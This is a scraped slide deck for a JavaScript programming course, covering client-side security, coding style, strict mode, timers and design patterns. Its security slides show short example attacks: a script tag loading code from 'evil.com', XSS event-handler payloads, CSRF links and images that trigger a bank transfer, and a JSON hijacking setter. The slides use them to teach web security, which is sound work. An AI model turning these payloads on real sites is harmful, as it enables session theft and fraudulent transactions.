Thanks to visit codestin.com
Credit goes to www.slideshare.net

Practical JavaScript Programming
Session 7
Wilson Su
2
https://www.slideshare.net/sweekson/
3
Wilson Su
Front-end Developer, HIE
● 6 years in web design
● Specialize in JavaScript /
CSS / HTML / OOP / Git
● Familiar with PHP / Design
Pattern
● Interested in UI & Ix Design
wilson_su@trend.com.tw
Outline
4
Practical JavaScript Programming
Chapter 14.
● Restricted Features
● Vulnerabilities
Security
Chapter 15.
Best Practice
● Coding Style
● Strict Mode
● Timing Events
Chapter 16.
Design Patterns
● Singleton Pattern
● Factory Pattern
● Dependency Injection
● Module Pattern
● Facade Pattern
● Proxy Pattern
● Observer Pattern
Chapter 14.
Security
5
Restricted Features
6
JavaScript Restricted Features
7
Security
Submit a form
The History object
The FileUpload object
Window size and position
Modify event properties
Mixed content
Close a window Same-origin policy
Vulnerabilities
8
What JavaScript Can Do Globally
● Scripts can override native prototype and methods
● Different scripts can mess with each other's variables
● Different scripts can redefine each other's functions
● Transmit data anywhere
● Watch keystrokes
● All scripts run with equal authority
9
Vulnerabilities
10
Client Side Web Security Attacks
Vulnerabilities
● Cross-Site Scripting / XSS
● Cross-Site Request Forgery / CSRF
● JSON Hijacking
● Clickjacking
● Likejacking / Social Jacking
JS
Cross-Site Scripting
11
Vulnerabilities
<script src="https://evil.com/xss.js"></script>
hacker@gmail.com
Save
Email
Bio
Profile
XSS Attack Examples
12
1. <form action="document.write('evil')">
2. <button typen="submit">Save</button>
3. </form>
4. <input onfocus="document.write('evil')" autofocus/>
5. <img src="x" onerror="document.write('evil')"/>
Cross-Site Request Forgery
13
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Popular Games
Play Play Play
Hi, Neo
Account Balance
Transfer 10,000
http://smart.bank.com/transfer?to=12345678&amount=10000
CSRF / Cross Site Request Forgery
14
1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a>
2. <img src="https://bank.com/transfer?to=123&amount=100"/>
3. <iframe src="https://bank.com/transfer?to=123&amount=100">
4. </iframe>
JSON Hijacking
15
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Hi, Neo <script>
Object.prototype.__defineSetter
__(…);
</script>
<script
src="https://smart.bank.com/dat
a/account"></script>
Nice see you again.
Clickjacking
16
Vulnerabilities
FB Like
Blog
Fake Like
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
Chapter 15.
Best Practice
17
Coding Style
18
Avoid Polluting the Global Scope
19
1. var title = 'JS';
2. var add = function () {};
3. function echo () {};
4. console.log(window.hasOwnProperty('title')); // true
5. console.log(window.hasOwnProperty('add')); // true
6. console.log(window.hasOwnProperty('echo')); // true
Reducing Globals
20
1. /* Use a nmaespace */
2. var util = {
3. version: '1.2.0',
4. unique: function () {},
5. extend: function () {}
6. };
Always use semicolon.
21
Automatic Semicolon Insertion - Example 1
22
1. function fn () {
2. var string = 'xyz'
3. var number = 999
4. return { value: 1 }
5. }
6. /* The code got transformed as follows */
7. function fn () {
8. var string = 'xyz';
9. var number = 999;
10. return { value: 1 };
11. }
Automatic Semicolon Insertion - Example 2
23
1. var fn = function () {
2. return {
3. value: 2
4. }
5. }
6. /* The code got transformed as follows */
7. var fn = function () {
8. return {
9. value: 2
10. };
11. };
Automatic Semicolon Insertion - Example 3
24
1. function fn () {
2. var string = 'xyz'
3. number = 999
4. return
5. { value: 3 }
6. }
7. /* The code got transformed as follows */
8. function fn () {
9. var string = 'xyz';
10. number = 999;
11. return;
12. { value: 3 };
13. }
Automatic Semicolon Insertion - Example 4
25
1. var echo = value => value;
2. var list, id, data = { id: 1 };
3. echo('Hi')
4. (list || []).forEach(v => console.log(v))
5. id = data.id
6. [1, 2, 3].map(v => v * 2)
7.
8. /* The code from line 3 to 6 got transformed into 2 lines */
9. echo('Hi')(list || []).forEach(v => console.log(v));
10. // TypeError
11. id = data.id[1, 2, 3].map(v => v * 2);
12. // TypeError
Automatic Semicolon Insertion - Example 5
26
1. (() => console.log('Hi!'))()
2. (() => console.log('Yo!'))()
3.
4. /* Lines got merged */
5. (() => console.log('Hi!'))()(() => console.log('Yo!'))();
6.
7. /* Add a semicolon before an IIFE; therefore, it will prevent
code from being merged into one line. */
8. Math.random()
9. ;(function () {})();
Conditional Evaluation
27
1. if (array.length > 0) {}
2. if (array.length) {}
3.
4. if (array.length === 0) {}
5. if (!array.length) {}
6.
7. if (string !== '') {}
8. if (string) {}
9.
10. if (string === '') {}
11. if (!string) {}
Avoid Using switch
28
1. var action = 'triple', value = 10;
2. switch (action) {
3. case: 'double':
4. value = value * 2;
5. break;
6. case: 'triple':
7. value = value * 3;
8. break;
9. default:
10. value = value;
11. }
Replacing switch Statements With Object Literals
29
1. var cases = {
2. double: function (value) { return value * 2; },
3. triple: function (value) { return value * 3; },
4. normal: function (value) { return value; }
5. };
6. var action = 'triple', value = 10;
7. var fn = action in cases ? cases[action] : cases.normal;
8. fn(value); // 30
Strict Mode
30
Strict Mode for Scripts
31
1. 'use strict';
2. var text = 'A strict mode script';
Strict Mode for Functions
32
1. function strict () {
2. // Function-level strict mode
3. 'use strict';
4. }
5.
6. function nonstrict () {}
Strict Mode for Anonymous Functions
33
1. (function strict () {
2. // Function-level strict mode
3. 'use strict';
4. })();
The strict-mode directive
is only recognized
at the beginning of a script
or a function.
34
The Strict-mode Not Allowed in Function With Non-simple Parameters
35
1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError
2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError
3. function fn3 (...args) { 'use strict'; } // SyntaxError
4.
5. /* Workaround */
6. (function () {
7. 'use strict';
8. function fn1 (a = 1, b = 2) {}
9. function fn2 ([a, b]) {}
10. function fn3 (...args) {}
11. })();
Impossible to Accidentally Create Global Variables
36
1. (function nonstrict () {
2. id = 'Global';
3. })();
4. console.log(window.id); // 'Global'
1. (function strict () {
2. 'use strict';
3. /* An error is thrown only if the variable not exists
4. in window object */
5. id = 'Global'; // ReferenceError
6. })();
Strict Mode Function
37
1. (function nonstrict () {
2. return this;
3. })();
4. // Window { … }
5.
6. (function strict () {
7. 'use strict';
8. return this;
9. })();
10. // undefined
Unique Function Parameters
38
1. (function nonstrict (arguments) {
2. return arguments;
3. })(10);
4. // 10
5.
6. function strict (arguments) {
7. 'use strict';
8. }
9. // SyntaxError
Duplicate Parameter Name
39
1. function nonstrict (name, name) {
2. return name;
3. }
4. nonstrict('Ben'); // undefined
5. nonstrict('Ben', 'Lisa'); // 'Lisa'
6.
7. function strict (name, name) {
8. 'use strict';
9. }
10. // SyntaxError
Forbid Setting Properties on Primitive Values
40
1. (function nonstrict () {
2. false.type = 'Bool';
3. (14).text = 'Fourteen';
4. 'Ten'.value = 10;
5. })();
6.
7. (function strict () {
8. 'use strict';
9. false.type = 'Bool'; // TypeError
10. (14).text = 'Fourteen'; // TypeError
11. 'Ten'.value = 10; // TypeError
12. })();
Delete of an Unqualified Identifier
41
1. (function nonstrict () {
2. var index;
3. console.log(delete index); // false
4. })();
5.
6. function strict () {
7. 'use strict';
8. var index;
9. console.log(delete index);
10. }
11. // SyntaxError
Not Allow to Use with
42
1. (function nonstrict () {
2. var dog = { age: 5 };
3. with (dog) { age = 3; }
4. console.log(dog); // {age: 3}
5. })();
6.
7. function strict () {
8. 'use strict';
9. var dog = { age: 5 };
10. with (dog) { age = 3; }
11. }
12. // SyntaxError
The eval() Is Not Allowed to Create Variables in Strict-mode
43
1. (function nonstrict () {
2. eval('var number = 30');
3. console.log(number); // 30
4. })();
5.
6. (function strict () {
7. 'use strict';
8. var bool = eval('var bool = true; bool');
9. eval('var number = 30');
10. console.log(bool); // true
11. console.log(number); // ReferenceError
12. })();
Eval is evil.
44
Timing Events
45
A Basic Timing Event
46
1. var timer = setTimeout(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearTimeout() method cancels a timer previously
established by calling setTimeout() */
5. clearTimeout(timer);
A Customable Timing Event Function Using setTimeout
47
1. /* Assume time() is a function to get current time. */
2. function timer (fn, delay = 1000, times = 3) {
3. setTimeout(function () {
4. console.log(time());
5. fn();
6. --times && timer(fn, delay, times);
7. }, delay);
8. };
9. timer(function () {
10. /* Something that blocks for 1 minutes */
11. });
12. // '12:00:01' '12:01:02' '12:02:03'
A Repeatedly Timing Event
48
1. var timer = setInterval(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearInterval() method cancels a timer previously
established by calling setInterval() */
5. clearInterval(timer);
Stacking Calls With setInterval
49
1. setInterval(function () {
2. /* Something that blocks for 1 minutes */
3. }, 1000);
4. /* When code that is being executed blocks the timeout call,
setInterval will still issue more calls to the specified
function. */
Avoid using setInterval.
50
Chapter 16.
Design Patterns
51
Singleton Pattern
52
Singleton Pattern
53
Design Patterns
Static public
method
Private
constructor
A static
member
A class of which only a single instance can exist. Ensure a class only has
one instance, and provide a global point of access to it.
An Example Using the Singleton Pattern
54
1. function Router (options) {
2. if (Router.instance) { return Router.instance; }
3. this.options = options;
4. }
5. Router.instance = null;
6. Router.create = function (options) {
7. if (Router.instance) { return Router.instance; }
8. return Router.instance = new Router(options);
9. }
10. var options = {}, router = Router.create(options);
11. console.log(router === Router.instance); // true
12. console.log(router === new Router(options)); // true
Factory Pattern
55
Factory Pattern
56
Design Patterns
Line
Bar
Pie
ChartFactory
Define an interface for creating an object, but let subclasses decide which
class to instantiate. Factory Method lets a class defer instantiation to
subclasses.
An Example Using the Factory Pattern
57
1. /* Assume class Line, Bar, and Pie are defined */
2. var types = { line: Line, bar: Bar, pie: Pie };
3. class ChartFactory {
4. static create (options) {
5. var type = options.type;
6. if (!type) { throw Error('Chart type is undefined.'); }
7. var Type = type in types ? types[type] : null;
8. if (!type) { throw Error('Unknown chart type.'); }
9. return new Type(options);
10. }
11. }
12. ChartFactory.create({ type: 'line', data: [50, 80, 60] });
13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
Dependency Injection
58
Dependency Injection
59
Design Patterns
Dependency injection is a technique whereby one object supplies the
dependencies of another object. It is one specific implementation of the
inversion of control technique.
App
A
B
C
D
depends
Examples Using the Dependency Injection
60
1. /* Example 1 */
2. function Router () {}
3. function Storage () {}
4. function App () {}
5. new App(new Router(), new Storage());
6.
7. /* Example 2 - Dynamically loads dependencies */
8. function Combobox (input, dropdown) {}
9. var injector = { resolve: function (deps, fn) {} };
10. var dependencies = ['Input', 'Dropdown'];
11. injector.resolve(dependencies, (input, dropdown) => {
12. var combobox = new Combobox(input, dropdown);
13. });
Module Pattern
61
Module Pattern
62
Design Patterns
The Module pattern is used to emulate the concept of classes in such a
way that we're able to include both public/private methods and variables
inside a single object, thus shielding particular parts from the global scope.
Router Menu ChartjQuery
An Example Using the Module Pattern
63
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var module = {};
5. var items = []; // Private
6. var sort = function () {}; // Private
7. module.name = 'collection'; // Public
8. module.push = function (data) {}; // Public
9. return module;
10. })();
An Example Using the Revealing Module Pattern
64
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. })();
AMD / Asynchronous Module Definition
65
1. /* collection.js */
2. define(['./libs/jquery'], function ($) {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. });
CommonJS
66
1. 'use strict';
2. var $ = require('jquery');
3. var name = 'collection';
4. var items = [];
5. function sort () {};
6. function push (data) {};
7. module.exports = { name, push };
UMD / Universal Module Definition
67
1. (function (root, factory) {
2. if (typeof define === 'function' && define.amd) {
3. define(['jquery'], factory);
4. } else if (typeof exports === 'object') {
5. module.exports = factory(require('jquery'));
6. } else {
7. root.collection = factory(root.jQuery);
8. }
9. })(this, function ($) {
10. 'use strict';
11. var name = 'collection', items = [];
12. var sort = () => {}, push = (data) => {};
13. return { name, push };
14. });
Facade Pattern
68
Facade Pattern
69
Design Patterns
A single class that represents an entire subsystem. Provide a unified
interface to a set of interfaces in a system. Facade defines a higher-level
interface that makes the subsystem easier to use.
Facade
Internal A Internal B Internal C
An Example Using the Facade Pattern
70
1. function bind (elem, event, listener) {
2. if (elem.addEventListener) {
3. elem.addEventListener(event, listener, false);
4. } else if (elem.attachEvent) {
5. elem.attachEvent('on' + event, listener);
6. } else {
7. elem['on' + event] = listener;
8. }
9. }
10. var button = document.getElementById('save');
11. bind(button, 'click', function () {});
12. bind(button, 'dblclick', function () {});
Proxy Pattern
71
Proxy Pattern
72
Design Patterns
Proxy Real ObjectClient
An object representing another object. Provide a surrogate or placeholder
for another object to control access to it.
An Example Using the Proxy Pattern
73
1. class ElementProxy {
2. constructor (selector) {
3. this.selector = selector;
4. this.elem = document.querySelector(selector);
5. }
6. on (event, listener, capture) {
7. this.elem.addEventListener(event, listener, capture);
8. return this;
9. }
10. attr (attr, value) {}
11. }
12. var button = new ElementProxy('button#submit');
13. button.attr('disabled', false).on('click', () => {});
Observer Pattern
74
Observer Pattern
75
Design Patterns
Subject
Observer
Observer
Observer
notify
notify
notifysubject
changed
Define a one-to-many dependency between objects so that when one
object changes state, all its dependents are notified and updated
automatically.
An Example Using the Observer Pattern
76
1. class Subject {
2. attach (observer) { this.set.add(observer); }
3. detach (observer) { this.set.delete(observer); }
4. notify () { this.observers.forEach(o => o.update()); }
5. setState(state) { this.state = state; }
6. }
7. class Observer {
8. update () {}
9. }
10. var subject = new Subject(), observer = new Observer(subject);
11. subject.attach(observer);
12. subject.setState('changed');
13. subject.notify();
An Example Using the Publish/Subscribe Pattern
77
1. class EventEmitter {
2. on(event, listener) {}
3. off(event, listener) {}
4. once(event, listener) {}
5. emit(event, listener) {}
6. }
7. var emitter = new EventEmitter();
8. emitter.on('done', (data) => console.log('Done.'));
9. emitter.on('error', (error) => console.log('Error!'));
10. fetch('/api/users').then((response) => {
11. emitter.emit('done', response.json());
12. })
13. .catch(error => emitter.emit('error', error));
Reference
78
● Clickjacking - Wikipedia
● Cross-Site Scripting (XSS) Cheat Sheet | Veracode
● Cross-Site Scripting – Application Security – Google
● Dependency injection - Wikipedia
● Guide to CSRF (Cross-Site Request Forgery) | Veracode
● HTML5 Security Cheatsheet
● JavaScript Security
● JSON Hijacking | You've Been Hacked
Practical JavaScript Programming
Reference
79
● Mixed content - Web security | MDN
● Principles of Writing Consistent, Idiomatic JavaScript
● Security Guide for Developers
● Social jacking - Wikipedia
● Strict mode restriction - JavaScript | MDN
● Strict mode - JavaScript | MDN
● The 23 Gang of Four Design Patterns
● Understanding Automatic Semicolon Insertion in JavaScript
Practical JavaScript Programming
Reference Books
● Effective JavaScript
● JavaScript: The Good Parts
● JavaScript: The Definitive Guide, 4th Edition
● Learning JavaScript Design Patterns
80
Practical JavaScript Programming
Questions?
81
THANKS

Practical JavaScript Programming - Session 7/8

  • 1.
  • 2.
  • 3.
    3 Wilson Su Front-end Developer,HIE ● 6 years in web design ● Specialize in JavaScript / CSS / HTML / OOP / Git ● Familiar with PHP / Design Pattern ● Interested in UI & Ix Design [email protected]
  • 4.
    Outline 4 Practical JavaScript Programming Chapter14. ● Restricted Features ● Vulnerabilities Security Chapter 15. Best Practice ● Coding Style ● Strict Mode ● Timing Events Chapter 16. Design Patterns ● Singleton Pattern ● Factory Pattern ● Dependency Injection ● Module Pattern ● Facade Pattern ● Proxy Pattern ● Observer Pattern
  • 5.
  • 6.
  • 7.
    JavaScript Restricted Features 7 Security Submita form The History object The FileUpload object Window size and position Modify event properties Mixed content Close a window Same-origin policy
  • 8.
  • 9.
    What JavaScript CanDo Globally ● Scripts can override native prototype and methods ● Different scripts can mess with each other's variables ● Different scripts can redefine each other's functions ● Transmit data anywhere ● Watch keystrokes ● All scripts run with equal authority 9 Vulnerabilities
  • 10.
    10 Client Side WebSecurity Attacks Vulnerabilities ● Cross-Site Scripting / XSS ● Cross-Site Request Forgery / CSRF ● JSON Hijacking ● Clickjacking ● Likejacking / Social Jacking JS
  • 11.
  • 12.
    XSS Attack Examples 12 1.<form action="document.write('evil')"> 2. <button typen="submit">Save</button> 3. </form> 4. <input onfocus="document.write('evil')" autofocus/> 5. <img src="x" onerror="document.write('evil')"/>
  • 13.
    Cross-Site Request Forgery 13 Vulnerabilities BankLet’s Play a Game http://smart.bank.com http://unsafe.games.com Popular Games Play Play Play Hi, Neo Account Balance Transfer 10,000 http://smart.bank.com/transfer?to=12345678&amount=10000
  • 14.
    CSRF / CrossSite Request Forgery 14 1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a> 2. <img src="https://bank.com/transfer?to=123&amount=100"/> 3. <iframe src="https://bank.com/transfer?to=123&amount=100"> 4. </iframe>
  • 15.
    JSON Hijacking 15 Vulnerabilities Bank Let’sPlay a Game http://smart.bank.com http://unsafe.games.com Hi, Neo <script> Object.prototype.__defineSetter __(…); </script> <script src="https://smart.bank.com/dat a/account"></script> Nice see you again.
  • 16.
    Clickjacking 16 Vulnerabilities FB Like Blog Fake Like ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– –––––––––––––––––––––––––––––
  • 17.
  • 18.
  • 19.
    Avoid Polluting theGlobal Scope 19 1. var title = 'JS'; 2. var add = function () {}; 3. function echo () {}; 4. console.log(window.hasOwnProperty('title')); // true 5. console.log(window.hasOwnProperty('add')); // true 6. console.log(window.hasOwnProperty('echo')); // true
  • 20.
    Reducing Globals 20 1. /*Use a nmaespace */ 2. var util = { 3. version: '1.2.0', 4. unique: function () {}, 5. extend: function () {} 6. };
  • 21.
  • 22.
    Automatic Semicolon Insertion- Example 1 22 1. function fn () { 2. var string = 'xyz' 3. var number = 999 4. return { value: 1 } 5. } 6. /* The code got transformed as follows */ 7. function fn () { 8. var string = 'xyz'; 9. var number = 999; 10. return { value: 1 }; 11. }
  • 23.
    Automatic Semicolon Insertion- Example 2 23 1. var fn = function () { 2. return { 3. value: 2 4. } 5. } 6. /* The code got transformed as follows */ 7. var fn = function () { 8. return { 9. value: 2 10. }; 11. };
  • 24.
    Automatic Semicolon Insertion- Example 3 24 1. function fn () { 2. var string = 'xyz' 3. number = 999 4. return 5. { value: 3 } 6. } 7. /* The code got transformed as follows */ 8. function fn () { 9. var string = 'xyz'; 10. number = 999; 11. return; 12. { value: 3 }; 13. }
  • 25.
    Automatic Semicolon Insertion- Example 4 25 1. var echo = value => value; 2. var list, id, data = { id: 1 }; 3. echo('Hi') 4. (list || []).forEach(v => console.log(v)) 5. id = data.id 6. [1, 2, 3].map(v => v * 2) 7. 8. /* The code from line 3 to 6 got transformed into 2 lines */ 9. echo('Hi')(list || []).forEach(v => console.log(v)); 10. // TypeError 11. id = data.id[1, 2, 3].map(v => v * 2); 12. // TypeError
  • 26.
    Automatic Semicolon Insertion- Example 5 26 1. (() => console.log('Hi!'))() 2. (() => console.log('Yo!'))() 3. 4. /* Lines got merged */ 5. (() => console.log('Hi!'))()(() => console.log('Yo!'))(); 6. 7. /* Add a semicolon before an IIFE; therefore, it will prevent code from being merged into one line. */ 8. Math.random() 9. ;(function () {})();
  • 27.
    Conditional Evaluation 27 1. if(array.length > 0) {} 2. if (array.length) {} 3. 4. if (array.length === 0) {} 5. if (!array.length) {} 6. 7. if (string !== '') {} 8. if (string) {} 9. 10. if (string === '') {} 11. if (!string) {}
  • 28.
    Avoid Using switch 28 1.var action = 'triple', value = 10; 2. switch (action) { 3. case: 'double': 4. value = value * 2; 5. break; 6. case: 'triple': 7. value = value * 3; 8. break; 9. default: 10. value = value; 11. }
  • 29.
    Replacing switch StatementsWith Object Literals 29 1. var cases = { 2. double: function (value) { return value * 2; }, 3. triple: function (value) { return value * 3; }, 4. normal: function (value) { return value; } 5. }; 6. var action = 'triple', value = 10; 7. var fn = action in cases ? cases[action] : cases.normal; 8. fn(value); // 30
  • 30.
  • 31.
    Strict Mode forScripts 31 1. 'use strict'; 2. var text = 'A strict mode script';
  • 32.
    Strict Mode forFunctions 32 1. function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. } 5. 6. function nonstrict () {}
  • 33.
    Strict Mode forAnonymous Functions 33 1. (function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. })();
  • 34.
    The strict-mode directive isonly recognized at the beginning of a script or a function. 34
  • 35.
    The Strict-mode NotAllowed in Function With Non-simple Parameters 35 1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError 2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError 3. function fn3 (...args) { 'use strict'; } // SyntaxError 4. 5. /* Workaround */ 6. (function () { 7. 'use strict'; 8. function fn1 (a = 1, b = 2) {} 9. function fn2 ([a, b]) {} 10. function fn3 (...args) {} 11. })();
  • 36.
    Impossible to AccidentallyCreate Global Variables 36 1. (function nonstrict () { 2. id = 'Global'; 3. })(); 4. console.log(window.id); // 'Global' 1. (function strict () { 2. 'use strict'; 3. /* An error is thrown only if the variable not exists 4. in window object */ 5. id = 'Global'; // ReferenceError 6. })();
  • 37.
    Strict Mode Function 37 1.(function nonstrict () { 2. return this; 3. })(); 4. // Window { … } 5. 6. (function strict () { 7. 'use strict'; 8. return this; 9. })(); 10. // undefined
  • 38.
    Unique Function Parameters 38 1.(function nonstrict (arguments) { 2. return arguments; 3. })(10); 4. // 10 5. 6. function strict (arguments) { 7. 'use strict'; 8. } 9. // SyntaxError
  • 39.
    Duplicate Parameter Name 39 1.function nonstrict (name, name) { 2. return name; 3. } 4. nonstrict('Ben'); // undefined 5. nonstrict('Ben', 'Lisa'); // 'Lisa' 6. 7. function strict (name, name) { 8. 'use strict'; 9. } 10. // SyntaxError
  • 40.
    Forbid Setting Propertieson Primitive Values 40 1. (function nonstrict () { 2. false.type = 'Bool'; 3. (14).text = 'Fourteen'; 4. 'Ten'.value = 10; 5. })(); 6. 7. (function strict () { 8. 'use strict'; 9. false.type = 'Bool'; // TypeError 10. (14).text = 'Fourteen'; // TypeError 11. 'Ten'.value = 10; // TypeError 12. })();
  • 41.
    Delete of anUnqualified Identifier 41 1. (function nonstrict () { 2. var index; 3. console.log(delete index); // false 4. })(); 5. 6. function strict () { 7. 'use strict'; 8. var index; 9. console.log(delete index); 10. } 11. // SyntaxError
  • 42.
    Not Allow toUse with 42 1. (function nonstrict () { 2. var dog = { age: 5 }; 3. with (dog) { age = 3; } 4. console.log(dog); // {age: 3} 5. })(); 6. 7. function strict () { 8. 'use strict'; 9. var dog = { age: 5 }; 10. with (dog) { age = 3; } 11. } 12. // SyntaxError
  • 43.
    The eval() IsNot Allowed to Create Variables in Strict-mode 43 1. (function nonstrict () { 2. eval('var number = 30'); 3. console.log(number); // 30 4. })(); 5. 6. (function strict () { 7. 'use strict'; 8. var bool = eval('var bool = true; bool'); 9. eval('var number = 30'); 10. console.log(bool); // true 11. console.log(number); // ReferenceError 12. })();
  • 44.
  • 45.
  • 46.
    A Basic TimingEvent 46 1. var timer = setTimeout(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearTimeout() method cancels a timer previously established by calling setTimeout() */ 5. clearTimeout(timer);
  • 47.
    A Customable TimingEvent Function Using setTimeout 47 1. /* Assume time() is a function to get current time. */ 2. function timer (fn, delay = 1000, times = 3) { 3. setTimeout(function () { 4. console.log(time()); 5. fn(); 6. --times && timer(fn, delay, times); 7. }, delay); 8. }; 9. timer(function () { 10. /* Something that blocks for 1 minutes */ 11. }); 12. // '12:00:01' '12:01:02' '12:02:03'
  • 48.
    A Repeatedly TimingEvent 48 1. var timer = setInterval(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearInterval() method cancels a timer previously established by calling setInterval() */ 5. clearInterval(timer);
  • 49.
    Stacking Calls WithsetInterval 49 1. setInterval(function () { 2. /* Something that blocks for 1 minutes */ 3. }, 1000); 4. /* When code that is being executed blocks the timeout call, setInterval will still issue more calls to the specified function. */
  • 50.
  • 51.
  • 52.
  • 53.
    Singleton Pattern 53 Design Patterns Staticpublic method Private constructor A static member A class of which only a single instance can exist. Ensure a class only has one instance, and provide a global point of access to it.
  • 54.
    An Example Usingthe Singleton Pattern 54 1. function Router (options) { 2. if (Router.instance) { return Router.instance; } 3. this.options = options; 4. } 5. Router.instance = null; 6. Router.create = function (options) { 7. if (Router.instance) { return Router.instance; } 8. return Router.instance = new Router(options); 9. } 10. var options = {}, router = Router.create(options); 11. console.log(router === Router.instance); // true 12. console.log(router === new Router(options)); // true
  • 55.
  • 56.
    Factory Pattern 56 Design Patterns Line Bar Pie ChartFactory Definean interface for creating an object, but let subclasses decide which class to instantiate. Factory Method lets a class defer instantiation to subclasses.
  • 57.
    An Example Usingthe Factory Pattern 57 1. /* Assume class Line, Bar, and Pie are defined */ 2. var types = { line: Line, bar: Bar, pie: Pie }; 3. class ChartFactory { 4. static create (options) { 5. var type = options.type; 6. if (!type) { throw Error('Chart type is undefined.'); } 7. var Type = type in types ? types[type] : null; 8. if (!type) { throw Error('Unknown chart type.'); } 9. return new Type(options); 10. } 11. } 12. ChartFactory.create({ type: 'line', data: [50, 80, 60] }); 13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
  • 58.
  • 59.
    Dependency Injection 59 Design Patterns Dependencyinjection is a technique whereby one object supplies the dependencies of another object. It is one specific implementation of the inversion of control technique. App A B C D depends
  • 60.
    Examples Using theDependency Injection 60 1. /* Example 1 */ 2. function Router () {} 3. function Storage () {} 4. function App () {} 5. new App(new Router(), new Storage()); 6. 7. /* Example 2 - Dynamically loads dependencies */ 8. function Combobox (input, dropdown) {} 9. var injector = { resolve: function (deps, fn) {} }; 10. var dependencies = ['Input', 'Dropdown']; 11. injector.resolve(dependencies, (input, dropdown) => { 12. var combobox = new Combobox(input, dropdown); 13. });
  • 61.
  • 62.
    Module Pattern 62 Design Patterns TheModule pattern is used to emulate the concept of classes in such a way that we're able to include both public/private methods and variables inside a single object, thus shielding particular parts from the global scope. Router Menu ChartjQuery
  • 63.
    An Example Usingthe Module Pattern 63 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var module = {}; 5. var items = []; // Private 6. var sort = function () {}; // Private 7. module.name = 'collection'; // Public 8. module.push = function (data) {}; // Public 9. return module; 10. })();
  • 64.
    An Example Usingthe Revealing Module Pattern 64 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. })();
  • 65.
    AMD / AsynchronousModule Definition 65 1. /* collection.js */ 2. define(['./libs/jquery'], function ($) { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. });
  • 66.
    CommonJS 66 1. 'use strict'; 2.var $ = require('jquery'); 3. var name = 'collection'; 4. var items = []; 5. function sort () {}; 6. function push (data) {}; 7. module.exports = { name, push };
  • 67.
    UMD / UniversalModule Definition 67 1. (function (root, factory) { 2. if (typeof define === 'function' && define.amd) { 3. define(['jquery'], factory); 4. } else if (typeof exports === 'object') { 5. module.exports = factory(require('jquery')); 6. } else { 7. root.collection = factory(root.jQuery); 8. } 9. })(this, function ($) { 10. 'use strict'; 11. var name = 'collection', items = []; 12. var sort = () => {}, push = (data) => {}; 13. return { name, push }; 14. });
  • 68.
  • 69.
    Facade Pattern 69 Design Patterns Asingle class that represents an entire subsystem. Provide a unified interface to a set of interfaces in a system. Facade defines a higher-level interface that makes the subsystem easier to use. Facade Internal A Internal B Internal C
  • 70.
    An Example Usingthe Facade Pattern 70 1. function bind (elem, event, listener) { 2. if (elem.addEventListener) { 3. elem.addEventListener(event, listener, false); 4. } else if (elem.attachEvent) { 5. elem.attachEvent('on' + event, listener); 6. } else { 7. elem['on' + event] = listener; 8. } 9. } 10. var button = document.getElementById('save'); 11. bind(button, 'click', function () {}); 12. bind(button, 'dblclick', function () {});
  • 71.
  • 72.
    Proxy Pattern 72 Design Patterns ProxyReal ObjectClient An object representing another object. Provide a surrogate or placeholder for another object to control access to it.
  • 73.
    An Example Usingthe Proxy Pattern 73 1. class ElementProxy { 2. constructor (selector) { 3. this.selector = selector; 4. this.elem = document.querySelector(selector); 5. } 6. on (event, listener, capture) { 7. this.elem.addEventListener(event, listener, capture); 8. return this; 9. } 10. attr (attr, value) {} 11. } 12. var button = new ElementProxy('button#submit'); 13. button.attr('disabled', false).on('click', () => {});
  • 74.
  • 75.
    Observer Pattern 75 Design Patterns Subject Observer Observer Observer notify notify notifysubject changed Definea one-to-many dependency between objects so that when one object changes state, all its dependents are notified and updated automatically.
  • 76.
    An Example Usingthe Observer Pattern 76 1. class Subject { 2. attach (observer) { this.set.add(observer); } 3. detach (observer) { this.set.delete(observer); } 4. notify () { this.observers.forEach(o => o.update()); } 5. setState(state) { this.state = state; } 6. } 7. class Observer { 8. update () {} 9. } 10. var subject = new Subject(), observer = new Observer(subject); 11. subject.attach(observer); 12. subject.setState('changed'); 13. subject.notify();
  • 77.
    An Example Usingthe Publish/Subscribe Pattern 77 1. class EventEmitter { 2. on(event, listener) {} 3. off(event, listener) {} 4. once(event, listener) {} 5. emit(event, listener) {} 6. } 7. var emitter = new EventEmitter(); 8. emitter.on('done', (data) => console.log('Done.')); 9. emitter.on('error', (error) => console.log('Error!')); 10. fetch('/api/users').then((response) => { 11. emitter.emit('done', response.json()); 12. }) 13. .catch(error => emitter.emit('error', error));
  • 78.
